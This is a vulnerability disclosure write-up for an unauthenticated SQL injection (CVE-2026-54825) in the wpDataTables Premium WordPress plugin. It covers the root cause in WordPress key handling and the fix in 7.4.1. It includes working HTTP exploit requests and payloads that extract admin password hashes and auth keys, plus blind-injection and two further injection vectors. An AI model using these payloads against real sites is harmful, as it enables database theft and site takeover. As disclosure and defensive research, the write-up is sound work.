← Research ledger
CriticalCVE-2026-54825CVSS 9.3UnauthenticatedFixed in 7.4.1· 11 min read

The key is the payload: unauthenticated SQL injection in wpDataTables

Everyone audits the values. Almost nobody audits the keys. wpDataTables Premium passes raw $_POST array keys into $wpdb->update() as column names — and a single backtick in a key turns a routine table save into arbitrary SQL on the WordPress database, with no login required.

By ExPatch Vulnerability Research·Coordinated disclosure via Patchstack
Scope

Verified end-to-end in our lab: wpDataTables Premium 6.5.0.8 on WordPress 6.7 / PHP 8.2.28 / MySQL 8.0 (Docker). Affected: wpDataTables Premium ≤ 7.4; fixed in 7.4.1. This write-up covers the SQL injection findings only; other vulnerability classes from the same audit were reported separately and are out of scope here. Reported to the vendor through Patchstack under coordinated disclosure.

Summary

wpDataTables is one of the most popular table plugins for WordPress, and its frontend-editing feature saves rows through a public AJAX endpoint. Three independent failures line up: WordPress magic-quotes escape array values but never array keys; $wpdb->update() wraps column names in backticks but does not escape backticks inside them; and the plugin's save handler forwards the entire $_POST['formdata'] array — keys included — straight into that call. An unauthenticated visitor injects a crafted key containing a backtick, breaks out of the column quoting, and lands arbitrary SQL in an UPDATE against the site's own database.

The endpoint that trusts the post body

Frontend editing saves through admin-ajax.php, and the handler is registered twice — once for logged-in users, and once for literally everyone:

// controllers/wdt_ajax_actions.php — action registration
add_action('wp_ajax_wdt_save_table_frontend',        'wdtSaveTableFrontend');
add_action('wp_ajax_nopriv_wdt_save_table_frontend', 'wdtSaveTableFrontend');
//                        ^^^^^^ anonymous sessions are served by the same handler

Two guards stand between a stranger and that handler: a nonce and a role check. Both default to open. The edit nonce is printed into every public page that embeds an editable table — and since anonymous visitors all share WordPress user id 0, they all receive the same valid nonce:

// templates/frontend/table_main.inc.php — rendered into the public page
<?php wp_nonce_field('wdtFrontendEditTableNonce' . $this->getWpId(),
                  'wdtNonceFrontendEdit_'      . $this->getWpId()); ?>
// one GET of the page hands this token to anyone who asks

The role gate fares no better. When a table is created, its editor_roles list starts empty — and empty is treated as "everyone":

// controllers/wdt_functions.php — wdtCurrentUserCanEdit()
function wdtCurrentUserCanEdit($tableEditorRoles, $tableId) {
    // ...
    if (empty($tableEditorRoles)) {
        $userCanEdit = true;   // the DEFAULT state means "everyone can edit"
    }
    // ...
}

Root cause: two escapers, one gap

Now the interesting part — why the payload survives. Layer one is WordPress "magic quotes". On every request, add_magic_quotes() walks the superglobals and escapes what it finds. But look at what it escapes:

// wp-includes/load.php
function add_magic_quotes($input_array) {
    foreach ((array) $input_array as $k => $v) {
        if (is_string($v)) {
            $input_array[$k] = addslashes($v);   // the VALUE gets escaped
        }
        // $k — the array KEY — is never escaped, ever
    }
    return $input_array;
}

So $_POST['formdata'] arrives with cleaned-up values and raw, fully attacker-controlled keys. Layer two is the database wrapper. $wpdb->update() treats array keys as column names and quotes them as identifiers — by wrapping them in backticks. What it never does is escape a backtick inside the name:

// wp-includes/class-wpdb.php — how the SET list is assembled
foreach ($data as $field => $value) {
    // $format chosen per value type (%s / %d / %f)...
    $fields[] = '`' . $field . '` = ' . $format;
    //            ^ the name is backtick-wrapped, but a backtick INSIDE
    //              $field is not escaped — it ends the identifier early
}

Layer three is the plugin itself. wdtSaveTableFrontend() does compare keys against known columns — but only to enrich its own bookkeeping. Keys it doesn't recognize are never removed from the array, and the whole thing goes to the sink:

// controllers/wdt_ajax_actions.php — wdtSaveTableFrontend()
// (column loop only rewrites known keys; unknown keys survive in $formData)
$formData = stripslashes_deep($formData);                    // :505
$res = $wpdb->update($mySqlTableName, $formData,
                        array($idKey => $idVal));
// every surviving key becomes a column assignment in the UPDATE

Put a backtick in a key and the layers fold into each other: the key passes the sanitizer untouched, terminates the identifier early inside UPDATE, and whatever follows it is parsed as live SQL.

Exploitation over HTTP

Step one — harvest the public nonce from any page embedding an editable table. Zero session, zero cookies:

GET /products/ HTTP/1.1
Host: target.example
// in the returned HTML:
<input type="hidden" id="wdtNonceFrontendEdit_1"
       name="wdtNonceFrontendEdit_1" value="bd598cdfdd" />

Step two — the injection. The payload rides a formdata array key, URL-encoded in transit. Decoded, the key reads: secret_notes` = (SELECT user()) WHERE id=3 -- `

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

action=wdt_save_table_frontend
&wdtNonce=bd598cdfdd
&isDuplicate=0
&formdata[table_id]=1
&formdata[id]=3
&formdata[category]=clothing
&formdata[name]=Jacket
&formdata[price]=79.99
&formdata[secret_notes]=safe
&formdata[secret_notes`+%3D+(SELECT+user())+WHERE+id%3D3+--+]=x

WordPress assembles the UPDATE — note what the injected key becomes after the backtick wrap:

UPDATE `test_products` SET
  `category` = 'clothing',
  `name` = 'Jacket',
  `price` = '7999',
  `secret_notes` = 'safe',
  `secret_notes` = (SELECT user()) WHERE id=3 -- ` = 'x'
WHERE `id` = '3'

-- the duplicate assignment wins; the subquery executes;
-- the injected WHERE id=3 governs; `-- ` comments out the rest
HTTP/1.1 200 OK

{"success":3,"error":"","is_new":false}

Step three — read the result back through the plugin's own public data endpoint (it has its own public nonce, printed into the same page), or simply reload the rendered table:

POST /wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

draw=1&start=0&length=10&wdtNonce=<server-side nonce>&...
{"draw":1,"recordsTotal":"4","recordsFiltered":"4","data":[
  ["3","clothing","Jacket","79,99","wpuser@172.23.0.3"]
]}
// secret_notes now holds the result of SELECT user() — the query ran

From read to takeover

The subquery is unrestricted — any table is readable, including the crown jewels:

formdata[secret_notes` = (SELECT user_pass FROM wp_users LIMIT 1) WHERE id=3 -- ]=x
// → the admin password hash lands in a rendered column; crack offline, log in
formdata[secret_notes` = (SELECT option_value FROM wp_options WHERE option_name='auth_key') WHERE id=3 -- ]=x
// → WordPress auth keys: forge session cookies directly, no cracking needed

If the table is not publicly readable, the same primitive degrades gracefully to time-based blind extraction:

formdata[secret_notes` = IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$',SLEEP(3),'x') WHERE id=3 -- ]=x

One honest constraint, because precision matters: $wpdb->update() runs through mysqli_query(), which does not stack statements by default — writes stay confined to a single UPDATE on the target table. Cross-table reads via subqueries are unrestricted, and in WordPress a read of wp_users is usually all an attacker needs.

The same mistake, two more doors

The systemic error — trusting a MySQL escaper where it does not belong — is not confined to the save handler. The audit isolated two further unauthenticated injection vectors in the same plugin, both on the read path.

%VAR1%..%VAR9% URL placeholders (wdt_var1..9). Table definitions can contain placeholder tokens that the plugin substitutes with request parameters through esc_sql(). But esc_sql() only escapes quote characters: when a placeholder sits in an unquoted context (a numeric comparison, LIMIT, ORDER BY) there is nothing to escape and the payload passes whole. Worse, the plugin's own "sanitizer" wdtSanitizeQuery() is a keyword blacklist that helpfully calls stripslashes() — restoring any quote the platform had escaped:

// controllers/wdt_functions.php — wdtSanitizeQuery()
$query = str_replace('DELETE', '', $query);   // blacklist: DROP, INSERT,
                                                     // UPDATE, TRUNCATE, ... (bypassable)
$query = stripslashes($query);   // :1917 — \' is restored to a bare ' here
$query = rtrim($query, "; \t\n");

Because this rides the read path, it needs no editable flag, and it reaches the default WordPress MySQL connection — the site database itself:

GET /wp-admin/admin-ajax.php?action=get_wdtable&table_id=7
    &wdt_var1=0 OR SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='x' HTTP/1.1
Host: target.example

DataTables filter parameters on PostgreSQL / MSSQL connections. queryBasedConstruct() builds the server-side WHERE clause for every large table and guards string filters with addslashes() — a MySQL convention that does not neutralize a single quote on PostgreSQL or MSSQL. Any public server-side table on a separate PG/MSSQL connection is injectable through the global search[value] or any per-column filter — and several filter branches apply no escaping at all:

// source/class.wpdatatable.php:2667 — per-column filter, exact match
$search .= ... . "{$rightSysIdentifier} = '" . $columnSearch . "' ";
// no addslashes at all on this branch

Why it is critical

  • No authentication. The nonce that gates the endpoint is printed into the public page; the role check defaults to "everyone". The attack needs zero credentials and zero cookies.
  • The target is the WordPress database itself. wp_users hashes, wp_options keys, every plugin's data — read access is the same as takeover in this ecosystem.
  • It is a chain of defaults, not a misconfiguration. A site owner who simply enables frontend editing on a public page is exposed; nothing exotic is required.
  • Three vectors, one systemic root. Even a partial fix that only validates formdata keys leaves the placeholder and filter paths open — we reported all three so the remediation covers the class, not the symptom.
Honest scoping

The primary vector needs a MySQL-type table exposed on a public page (for the nonce) — the plugin's documented frontend-editing use case. The placeholder vector additionally requires a table query that actually uses a %VARn% token, and the filter vector requires a PostgreSQL/MSSQL separate connection. The Lite version of the plugin is not affected (no frontend editing handler). CVSS 9.3 reflects the unauthenticated default-path injection; environmental prevalence is for the vendor and Patchstack to weigh.

Disclosure timeline

  • 2026-05-30 — audit of wpDataTables Premium 6.5.0.8; backtick key-injection confirmed end-to-end against a clean Docker stand.
  • 2026-05-31 — full report with PoCs and all SQLi vectors submitted to the vendor via Patchstack.
  • 2026-08 — identifier CVE-2026-54825 assigned (CVSS 9.3); fix shipped by the vendor in wpDataTables 7.4.1.
  • 2026-08-13 — public write-up (this page), SQL injection findings only.

References

  • wpDataTables Premium 6.5.0.8 — controllers/wdt_ajax_actions.php, source/class.wpdatatable.php, controllers/wdt_functions.php.
  • WordPress core — wp-includes/load.php (magic quotes), wp-includes/class-wpdb.php (identifier quoting).
  • MySQL documentation: identifiers and backtick quoting; PHP documentation: mysqli multi-statement behavior.